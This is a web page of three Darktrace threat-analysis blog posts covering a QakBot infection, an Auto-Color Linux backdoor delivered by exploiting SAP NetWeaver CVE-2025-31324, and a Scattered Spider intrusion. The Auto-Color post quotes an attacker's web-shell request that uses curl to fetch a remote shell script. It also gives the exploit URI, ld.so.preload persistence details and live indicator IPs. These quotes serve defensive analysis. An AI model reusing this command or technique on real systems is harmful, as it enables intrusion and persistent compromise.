Neutralizing QakBot: Darktrace SOC's Success Story
Learn about the strategies used by Darktrace's SOC team to neutralize the QakBot banking trojan and safeguard financial data.
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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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13
Jun 2021
While cutting-edge technology is essential for organizations to secure their digital assets, having on-hand human support to deal with threats can be invaluable for lean security teams and organizations without Autonomous Response in their digital enterprise.
Cyber AI technology recently detected the QakBot banking trojan in a customer environment, and with the help of Darktrace’s SOC team, the customer was able to shut down the attack in under two hours.
QakBot malware
QakBot has built a name for itself over the past twelve years as one of the most deadly trojans in the game. Used in fast-paced, automated attacks against individual businesses, it has the ability to drain company resources and steal vast amounts of financial data. It is often downloaded during Emotet campaigns to infect devices and harvest bank account information.
Like other banking trojans, QakBot uses a dropper to install itself on a corporate device. It then self-propagates through a system and collects credentials at machine speed. Cyber-criminals can use this information to extract private data or distribute ransomware and further malicious payloads.
QakBot is extremely difficult for traditional security tools to detect. Due to a combination of its automatic worm-like capabilities, its use of a virus dropper with delayed execution, and several other obfuscation methods, it is able to bypass the majority of legacy tools and can lead to extreme financial repercussions if not dealt with in its initial stages.
The Darktrace SOC team
Darktrace’s Security Operations Center (SOC) team, located in Cambridge, San Francisco, and Singapore, deal with a wide range of these quick-moving and stealthy threats which are identified by Cyber AI, including ransomware deployments, SaaS account takeovers, and data exfiltration.
Such attacks often use ‘Living off the Land’ techniques which make them difficult to differentiate from legitimate network traffic. Moreover, many threat actors carry out malicious activities outside of a target organization’s normal working hours, amplifying the potential impact of a breach before it is discovered.
The Darktrace SOC team provides around-the-clock coverage of customer environments through Proactive Threat Notification (PTN) and Ask the Expert (ATE) services. Alongside autonomous AI detection, these services provide additional human monitoring and support for customers undergoing significant security events.
Uncovering the QakBot banking trojan
Figure 1: Timeline of the QakBot banking trojan attack, including the response from Darktrace’s services.
At a company in the EMEA region with around 7,000 devices, Cyber AI detected the early signs of a trojan horse. The organization did not have Antigena Email analyzing its email traffic in order to respond to attacks in the inbox, so when a phishing email slipped through the gateway and was opened by a user, their device began connecting to a high volume of suspicious endpoints.
This resembled command and control (C2) communication, and, based on the unusual nature of this activity for the device and the environment, this behavior triggered multiple high scoring model breaches. One of these was a high fidelity model breach for ‘Suspicious SSL Activity’, which prompted an investigation through the Proactive Threat Notification service.
Figure 2: An example of the Cyber AI Analyst incident timeline for an infected device, showing command and control and reconnaissance activity.
An expert Darktrace analyst was alerted to the unusual connectivity by the Enterprise Immune System and began to investigate the anomalous behavior, determining that this device was exhibiting strong signs of a banking trojan infection. The analyst needed to move quickly: the trojan had immediately begun reconnaissance and was preparing to spread across the network.
Within an hour, the analyst had produced a brief report summarizing the activity and this was sent as a PTN alert to the customer. The report contained key technical information from the model breach and Cyber AI Analyst incident – including the timeframe, device hostname and IP address, suspicious external domains, and a reference for the customer to view this alert in the Darktrace UI.
Figure 3: Visual example of the Darktrace threat tray. In the QakBot attack, four Enhanced Monitoring model breaches were triggered, and these were investigated and alerted through the PTN service. They were all high scoring detections, clearly indicating a compromise.
Upon receiving the alert, the customer initiated further investigation and quickly shut down the affected device. The attack was contained in less than two hours.
Ask the Expert
After their initial remediation, the company reached out to the Darktrace team via Ask the Expert to confirm that this was a QakBot infection and to gain additional assistance in investigating the extent of the compromise.
The analyst team provided ongoing support to the investigation over the next six hours, concluding that this likely came from a phishing email and that no other devices in the environment were compromised. The analyst provided a list of observed Indicators of Compromise (IoCs) and worked with the customer to add these to the Darktrace Watched Domains List for further monitoring. The customer was also able to use this list to block the IoCs at the firewall.
The organization contained the infection, and no further suspicious behavior was observed from network devices.
Humans and AI
This case study is a perfect example of how Darktrace’s services provide constant assistance to customers every day of every week. On top of Darktrace’s advanced machine learning technology, the Darktrace SOC team serves as an additional layer of support for security teams of all sizes. Proactive Threat Notifications offer an extra set of eyes on emerging threats, while Ask The Expert provides a mechanism for customers to gain investigative support directly from Darktrace analysts.
The early detection of this banking trojan allowed the organization to deal with the threat before it could develop into a serious infection or a ransomware attack. QakBot is just one of many strains of swift self-spreading malware in today’s threat landscape. Such automated attacks consistently outpace the fastest of human defenders, exposing the desperate need for AI and autonomous systems to augment human teams and protect digital systems in real time.
If Antigena Network had been active in this environment, the suspicious external connectivity would have been blocked upon first detection, stopping the attack within seconds. In fact, the customer decided to deploy Antigena Network following this incident, and now benefits from 24/7 Autonomous Response against all emerging cyber-threats.
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion
In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.
Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.
After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.
They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.
Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.
What is CVE-2025-31324?
On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.
What is Auto-Color Backdoor Malware?
The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).
Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].
What does Auto-Color Backdoor Malware do?
It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.
Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.
How does Auto-Color work?
The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.
If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.
Gaining persistence through preload manipulation
To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.
Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.
A delayed payload activated by outbound communication
To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].
Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.
If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.
In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.
Darktrace’s coverage of the Auto-Color malware
Initial alert to Darktrace’s SOC
On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.
Figure 1: A timeline breaking down the stages of the attack
Early signs of unusual activity detected by Darktrace
While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.
Initial compromise via ZIP file download followed by DNS tunnelling requests
In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.
The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.
The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.
OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.
Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.
Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.
Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.
Continued malicious activity
The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).
Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.
In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.
Execution
This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].
Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.
The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].
Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.
Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.
A deeper investigation into the attack
Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].
Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.
During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.
Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.
At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.
Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.
Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.
Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.
While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.
Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.
Conclusion
Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.
From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.
Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)
Appendices
MITRE ATT&CK Mapping
Malware - RESOURCE DEVELOPMENT - T1588.001
Drive-by Compromise - INITIAL ACCESS - T1189
Data Obfuscation - COMMAND AND CONTROL - T1001
Non-Standard Port - COMMAND AND CONTROL - T1571
Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003
Masquerading - DEFENSE EVASION - T1036
Application Layer Protocol - COMMAND AND CONTROL - T1071
Unix Shell – EXECUTION - T1059.004
LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006
Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005
Untangling the web: Darktrace’s investigation of Scattered Spider’s evolving tactics
What is Scattered Spider?
Scattered Spider is a native English-speaking group, also referred to, or closely associated with, aliases such as UNC3944, Octo Tempest and Storm-0875. They are primarily financially motivated with a clear emphasis on leveraging social engineering, SIM swapping attacks, exploiting legitimate tooling as well as using Living-Off-the-Land (LOTL) techniques [1][2].
In recent years, Scattered Spider has been observed employing a shift in tactics, leveraging Ransomware-as-a-Service (RaaS) platforms in their attacks. This adoption reflects a shift toward more scalable attacks with a lower barrier to entry, allowing the group to carry out sophisticated ransomware attacks without the need to develop it themselves.
While RaaS offerings have been available for purchase on the Dark Web for several years, they have continued to grow in popularity, providing threat actors a way to cause significant impact to critical infrastructure and organizations without requiring highly technical capabilities [12].
This blog focuses on the group’s recent changes in tactics, techniques, and procedures (TTPs) reported by open-source intelligence (OSINT) and how TTPs in a recent Scattered Spider attack observed by Darktrace compare.
How has Scattered Spider been reported to operate?
First observed in 2022, Scattered Spider is known to target various industries globally including telecommunications, technology, financial services, and commercial facilities.
Overview of key TTPs
Scattered Spider has been known to utilize the following methods which cover multiple stages of the Cyber Kill Chain including initial access, lateral movement, evasion, persistence, and action on objective:
Social engineering [1]:
Impersonating staff via phone calls, SMS and Telegram messages; obtaining employee credentials (MITRE techniques T1598,T1656), multi-factor authentication (MFA) codes such as one-time passwords, or convincing employees to run commercial remote access tools enabling initial access (MITRE techniques T1204,T1219,T1566)
Phishing using specially crafted domains containing the victim name e.g. victimname-sso[.]com
MFA fatigue: sending repeated requests for MFA approval with the intention that the victim will eventually accept (MITRE technique T1621)
SIM swapping [1][3]:
Includes hijacking phone numbers to intercept 2FA codes
This involves the actor migrating the victim's mobile number to a new SIM card without legitimate authorization
Reconnaissance, lateral movement & command-and-control (C2) communication via use of legitimate tools:
Examples include Mimikatz, Ngrok, TeamViewer, and Pulseway [1]. A more recently reported example is Teleport [3].
Financial theft through their access to victim networks: Extortion via ransomware, data theft (MITRE technique T1657) [1]
Bring Your Own Vulnerable Driver (BYOVD) techniques [4]:
Exploiting vulnerable drivers to evade detection from Endpoint Detection and Response (EDR) security products (MITRE technique T1068) frequently used against Windows devices.
LOTL techniques
LOTL techniques are also closely associated with Scattered Spider actors once they have gained initial access; historically this has allowed them to evade detection until impact starts to be felt. It also means that specific TTPs may vary from case-to-case, making it harder for security teams to prepare and harden defences against the group.
Prominent Scattered Spider attacks over the years
While attribution is sometimes unconfirmed, Scattered Spider have been linked with a number of highly publicized attacks since 2022.
Smishing attacks on Twilio: In August 2022 the group conducted multiple social engineering-based attacks. One example was an SMS phishing (smishing) attack against the cloud communication platform Twilio, which led to the compromise of employee accounts, allowing actors to access internal systems and ultimately target Twilio customers [5][6].
Phishing and social engineering against MailChimp: Another case involved a phishing and social engineering attack against MailChimp. After gaining access to internal systems through compromised employee accounts the group conducted further attacks specifically targeting MailChimp users within cryptocurrency and finance industries [5][7].
Social engineering against Riot Games: In January 2023, the group was linked with an attack on video game developer Riot Games where social engineering was once again used to access internal systems. This time, the attackers exfiltrated game source code before sending a ransom note [8][9].
Attack on Caesars & MGM: In September 2023, Scattered Spider was linked with attacked on Caesars Entertainment and MGM Resorts International, two of the largest casino and gambling companies in the United States. It was reported that the group gathered nearly six terabytes of stolen data from the hotels and casinos, including sensitive information of guests, and made use of the RaaS strain BlackCat [10].
Ransomware against Marks & Spencer: More recently, in April 2025, the group has also been linked to the alleged ransomware incident against the UK-based retailer Marks & Spencer (M&S) making use of the DragonForce RaaS [11].
How a recent attack observed by Darktrace compares
In May 2025, Darktrace observed a Scattered Spider attack affecting one of its customers. While initial access in this attack fell outside of Darktrace’s visibility, information from the affected customer suggests similar social engineering techniques involving abuse of the customer’s helpdesk and voice phishing (vishing) were used for reconnaissance.
Initial access
It is believed the threat actor took advantage of the customer’s third-party Software-as-a-Service (SaaS) applications, such as Salesforce during the attack.
Such applications are a prime target for data exfiltration due to the sensitive data they hold; customer, personnel, and business data can all prove useful in enabling further access into target networks.
Techniques used by Scattered Spider following initial access to a victim network tend to vary more widely and so details are sparser within OSINT. However, Darktrace is able to provide some additional insight into what techniques were used in this specific case, based on observed activity and subsequent investigation by its Threat Research team.
Lateral movement
Following initial access to the customer’s network, the threat actor was able to pivot into the customer’s Virtual Desktop Infrastructure (VDI) environment.
Darktrace observed the threat actor spinning up new virtual machines and activating cloud inventory management tools to enable discovery of targets for lateral movement.
In some cases, these virtual machines were not monitored or managed by the customer’s security tools, allowing the threat actor to make use of additional tooling such as AnyDesk which may otherwise have been blocked.
Tooling in further stages of the attack sometimes overlapped with previous OSINT reporting on Scattered Spider, with anomalous use of Ngrok and Teleport observed by Darktrace, likely representing C2 communication. Additional tooling was also seen being used on the virtual machines, such as Pastebin.
Figure 1: Cyber AI Analyst’s detection of C2 beaconing to a teleport endpoint with hostname CUSTOMERNAME.teleport[.]sh, likely in an attempt to conceal the traffic.
Leveraging LOTL techniques
Alongside use of third-party tools that may have been unexpected on the network, various LOTL techniques were observed during the incident; this primarily involved the abuse of standard network protocols such as:
SAMR requests to alter Active Directory account details
Lateral movement over RDP and SSH
Data collection over LDAP and SSH
Coordinated exfiltration activity linked through AI-driven analysis
Multiple methods of exfiltration were observed following internal data collection. This included SSH transfers to IPs associated with Vultr, alongside significant uploads to an Amazon S3 bucket.
While connections to this endpoint were not deemed unusual for the network at this stage due to the volume of traffic seen, Darktrace’s Cyber AI Analyst was still able to identify the suspiciousness of this behavior and launched an investigation into the activity.
Cyber AI Analyst successfully correlated seemingly unrelated internal download and external upload activity across multiple devices into a single, broader incident for the customer’s security team to review.
Figure 2: Cyber AI Analyst Incident summary showing a clear outline of the observed activity, including affected devices and the anomalous behaviors detected.
Figure 3: Cyber AI Analyst’s detection of internal data downloads and subsequent external uploads to an Amazon S3 bucket.
Exfiltration and response
Unfortunately, as Darktrace was not configured in Autonomous Response mode at the time, the attack was able to proceed without interruption, ultimately escalating to the point of data exfiltration.
Despite this, Darktrace was still able to recommend several Autonomous Response actions, aimed at containing the attack by blocking the internal data-gathering activity and the subsequent data exfiltration connections.
These actions required manual approval by the customer’s security team and as shown in Figure 3, at least one of the recommended actions was subsequently approved.
Had Darktrace been enabled in Autonomous Response mode, these measures would have been applied immediately, effectively halting the data exfiltration attempts.
Figure 4: Further recommendations for Autonomous Response actions in Darktrace‘s Incident Interface, with surgical response targeting both the internal data collection and subsequent exfiltration.
Scattered Spider’s use of RaaS
In this recent Scattered Spider incident observed by Darktrace, exfiltration appears to have been the primary impact. While no signs of ransomware deployment were observed here, it is possible that this was the threat actors’ original intent, consistent with other recent Scattered Spider attacks involving RaaS platforms like DragonForce.
DragonForce emerged towards the end of 2023, operating by offering their platform and capabilities on a wide scale. They also launched a program which offered their affiliates 80% of the eventual ransom, along with tools for further automation and attack management [13].
The rise of RaaS and attacker customization is fragmenting TTPs and indicators, making it harder for security teams to anticipate and defend against each unique intrusion.
While DragonForce appears to be the latest RaaS used by Scattered Spider, it is not the first, showcasing the ongoing evolution of tactics used the group.
In addition, the BlackCat RaaS strain was reportedly used by Scattered Spider for their attacks against Caesars Entertainment and MGM Resorts International [10].
In 2024 the group was also seen making use of additional RaaS strains; RansomHub and Qilin [15].
What security teams and CISOs can do to defend against Scattered Spider
The ongoing changes in tactics used by Scattered Spider, reliance on LOTL techniques, and continued adoption of evolving RaaS providers like DragonForce make it harder for organizations and their security teams to prepare their defenses against such attacks.
CISOs and security teams should implement best practices such as MFA, Single Sign-On (SSO), notifications for suspicious logins, forward logging, ethical phishing tests.
Also, given Scattered Spider’s heavy focus on social engineering, and at times using their native English fluency to their advantage, it is critical to IT and help desk teams are reminded they are possible targets.
Beyond social engineering, the threat actor is also adept at taking advantage of third-party SaaS applications in use by victims to harvest common SaaS data, such as PII and configuration data, that enable the threat actor to take on multiple identities across different domains.
With Darktrace’s Self-Learning AI, anomaly-based detection, and Autonomous Response inhibitors, businesses can halt malicious activities in real-time, whether attackers are using known TTPs or entirely new ones. Offerings such as Darktrace /Attack Surface Management enable security teams to proactively identify signs of malicious activity before it can cause an impact, while more generally Darktrace’s ActiveAI Security Platform can provide a comprehensive view of an organization’s digital estate across multiple domains.
Credit to Justin Torres (Senior Cyber Analyst), Emma Foulger (Global Threat Research Operations Lead), Zaki Al-Dhamari (Cyber Analyst), Nathaniel Jones (VP, Security & AI Strategy, FCISO), and Ryan Traill (Analyst Content Lead)
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The information provided in this blog post is for general informational purposes only and is provided "as is" without any representations or warranties, express or implied. While Darktrace makes reasonable efforts to ensure the accuracy and timeliness of the content related to cybersecurity threats such as Scattered Spider, we make no warranties or guarantees regarding the completeness, reliability, or suitability of the information for any purpose.
This blog post does not constitute professional cybersecurity advice, and should not be relied upon as such. Readers should seek guidance from qualified cybersecurity professionals or legal counsel before making any decisions or taking any actions based on the content herein.
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